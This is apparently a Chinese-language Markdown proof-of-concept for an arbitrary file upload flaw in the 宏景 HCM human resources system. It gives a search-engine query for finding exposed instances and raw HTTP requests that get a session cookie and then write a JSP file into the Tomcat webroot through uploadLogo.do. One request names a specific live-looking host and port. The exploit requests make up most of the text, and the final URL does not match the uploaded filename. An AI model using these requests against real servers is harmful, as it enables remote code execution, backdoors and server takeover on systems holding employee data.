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90 lines
2.7 KiB
Markdown
90 lines
2.7 KiB
Markdown
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# 宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞
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宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞，可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
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## hunter
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```javascript
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app.name="宏景 HCM"
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```
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## poc
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1、获取cookie
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```java
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GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
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```
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2、获取上传路径
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```java
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POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
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Cookie: JSESSIONID=3199B98D03F1834F83CDAF45EA079D13
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Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="path"
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="lfType"
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0
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="logofile"; filename=""
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Content-Type: image/gif
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<%= "bttest1" %>
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="twoFile"; filename=""
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Content-Type: image/gif
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<%= "bttest1" %>
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------WebKitFormBoundaryfjKBvGWJbG07Z02r--
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```
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3、文件上传
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```java
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POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
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Host: 8.137.169.49:7000
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
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Cookie: JSESSIONID=163CC9FFC3CAAEAFCF07F29B294E99F0
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Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="path"
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D~3a~5cTomcat~39~5cwebapps~5cROOT~5ctest1.jsp
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="lfType"
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0
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="logofile"; filename=""
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Content-Type: image/gif
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<%= "bttest1" %>
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------WebKitFormBoundaryfjKBvGWJbG07Z02r
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Content-Disposition: form-data; name="twoFile"; filename=""
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Content-Type: image/gif
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<%= "bttest1" %>
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------WebKitFormBoundaryfjKBvGWJbG07Z02r--
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```
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4、访问/test123.jsp
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